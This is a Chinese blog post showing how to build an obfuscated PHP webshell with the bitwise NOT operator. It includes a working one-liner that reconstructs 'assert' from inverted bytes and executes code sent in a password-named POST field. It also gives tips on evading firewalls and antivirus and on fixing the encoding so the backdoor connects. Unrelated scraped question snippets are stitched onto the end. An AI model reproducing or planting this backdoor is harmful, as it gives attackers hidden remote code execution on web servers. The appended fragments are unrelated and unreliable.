PHP中使用按位取反(~)函数创建后门

   1)PHP ~位运算符

  PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php

  前一段时间老外在twitter上爆出个有趣的东西,一串疑似乱码的字符串访问后却能正常输出1337,于是便有了以下研究成果。

  ~ $a Not(按位取反) 将 $a 中为 0 的位设为 1,反之亦然。

  PHP 的 ini 设定 error_reporting 使用了按位的值,提供了关闭某个位的真实例子。要显示除了提示级别之外的所有错误。

  php.ini 中是这样用的: E_ALL & ~E_NOTICE

  具体运作方式是先取得 E_ALL 的值: 00000000000000000111011111111111

  再取得 E_NOTICE 的值: 00000000000000000000000000001000

  然后通过 ~ 将其取反: 11111111111111111111111111110111

  最后再用按位与 AND(&)得到两个值中都设定了(为 1)的位: 00000000000000000111011111110111

  2)分析并重现

  这个就是当时最原始的代码实现效果:


  当看到这个效果的时候最先想到的就是绕过防火墙等后门的实现,之后开始考虑这是哪种编码方式?

  后来同李普君测试中发现直接使用echo ~'1';等则会直接输出以上的'乱码',方到看完PHP官方~函数的解释才恍然大悟。


  那么我们便可以开始写一句话试试效果了:

  ?1

  2

  3

  4

  $x=~Ÿ¬¬º­«;

  $x($_POST[~¹¹ÏÏÏÏ]);

  ?>


  这里定义$x变量为ASSERT,然后密码为FF0000直接链接后门便可,因为当位取反出来'乱码'后我们再取一次反即可返回正常值。

  3)关于编码与免杀

  当重现这个后门的时候我发现,直接Copy过来的直接HTTP状态500,源头是编码问题,上面这种'乱码'其实为西欧(ISO-8859-15)。

  实际过程中我们遇到了多次后门无法链接出现500的错误均势因为编码问题,如果默认编码无法识别将编码方式保存为这种即可(GBKUTF8...均不能成功使用)


  Author: Evi1m0 [Email: evi1m0#ff0000.cc]

  From: 邪红色信息安全组织 [FF0000 TeAm]

时间: 2024-09-14 00:32:22

PHP中使用按位取反(~)函数创建后门的相关文章

link中发射调用的函数和直接调用的函数,创建的变量都是可移动的还是静止的?

问题描述 link中发射调用的函数和直接调用的函数,创建的变量都是可移动的还是静止的? link中发射调用的函数和直接调用的函数,创建的变量都是可移动的还是静止的? 解决方案 什么叫可移动的??- 解决方案二: 这哥们对linq走火入魔,地球人已经看不懂了

c++-C++中的模板函数创建的函数的生存期是什么?

问题描述 C++中的模板函数创建的函数的生存期是什么? 首先是声明模板,调用模板的时候编译器会创建实例函数,这个函数的生存期是什么呢? 调用完之后就消失还是一直存在? 如果再次调用的话,还需要再创建实例函数吗? 解决方案 C++模板函数C++中的函数模板c++ 函数模板 解决方案二: 模板是直接根据实例的生命期决定,模板函数应该一直存在,只是对象来调用 解决方案三: 调用之后就消失了,再次实例化重新创建

Linux中使用C语言的fork()函数创建子进程的实例教程_C 语言

一.fork入门知识一个进程,包括代码.数据和分配给进程的资源.fork()函数通过系统调用创建一个与原来进程几乎完全相同的进程,也就是两个进程可以做完全相同的事,但如果初始参数或者传入的变量不同,两个进程也可以做不同的事. 一个进程调用fork()函数后,系统先给新的进程分配资源,例如存储数据和代码的空间.然后把原来的进程的所有值都复制到新的新进程中,只有少数值与原来的进程的值不同.相当于克隆了一个自己.   我们来看一个例子: #include <unistd.h> #include &l

在PL/SQL 开发中调试存储过程和函数的一般性方法

存储过程|函数 在PL/SQL 开发中调试存储过程和函数的一般性方法摘要: Oracle 在PLSQL中提供的强大特性使得数据库开发人员可以在数据库端完成功能足够复杂的任务, 本文将结合Oracle提供的相关程序包(package)以及一个非常优秀的第三方开发工具来介绍在PLSQL中开发及调试存储过程的方法,当然也适用于函数. 版权声明: 本文可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息.原文出处: http://www.aiview.com/notes/ora_using_

python3中内建函数与工厂函数的关系

问题描述 python3中内建函数与工厂函数的关系 python核心编程书中提到,由于类型与类的整合,一些内建函数变为了工厂函数,两者的关系是什么 解决方案 被重新封装了通过工厂函数来创建类的实例化,可以方便修改,对外函数不变,内部由于变化不影响使用 明显的例子: Timer 定时器的工厂函数def Timer(*args **kwargs):""Factory function to create a Timer object. Timers call a function afte

PHP中生成UUID自定义函数分享

 UUID 全称是 Universally unique identifier,它是一种识别符,使用任意的计算机都可以生成,不需要一个中央数据库进行管理,即可以保证几乎没有重复的几率.而 UUID 的值域之大,据说给世界上每一粒沙子分配一个 UUID,也不会有重复的. 最近在改 WordPress 的代码,需要用到 UUID.但是,PHP 中居然没有生成 UUID 的函数,只好自己写一个. 1 2 3 4 5 6 7 8 9 10 11 if (!function_exists('com_cre

mysql使用WKB函数创建Geometry(几何)值

  mysql使用WKB函数创建Geometry(几何)值 MySQL提供了众多函数,它们将包含WKT表达式.或可选的空间参考系统ID(SRID)的BLOB作为输入参数.它们返回对应的几何对象. GeomFromWKB()接受任何几何类型的WKB作为其第1个参量.在实施方案中也提供了与类型相关的构造函数,用于构造每一种几何类型的几何值. GeomCollFromWKB(wkb[,srid]) , GeometryCollectionFromWKB(wkb[,srid]) 使用其WKB表示和SRI

JavaScript中5种调用函数的方法

 这篇文章主要介绍了JavaScript中5种调用函数的方法,本文详细的介绍了Javascript中各种函数调用的方法及其原理,对于理解JavaScript的函数有很大的帮助,需要的朋友可以参考下     这篇文章详细的介绍了Javascript中各种函数调用的方法及其原理,对于理解JavaScript的函数有很大的帮助! JavaScript,调用函数的5种方法 一次又一次的,我发现,那些有bug的Javascript代码是由于没有真正理解Javascript函数是如何工作而导致的(顺便说一下

mfc-MS FlexCell控件在视图中如何使用事件函数

问题描述 MS FlexCell控件在视图中如何使用事件函数 为什么在VC6.0中MFC单文档应用程序的视图对象中使用Create函数创建的MS FlexCell控件,无法添加控件的事件函数,而基于对话框的应用程序添加的MS FlexCell,却可以任意添加控件的事件函数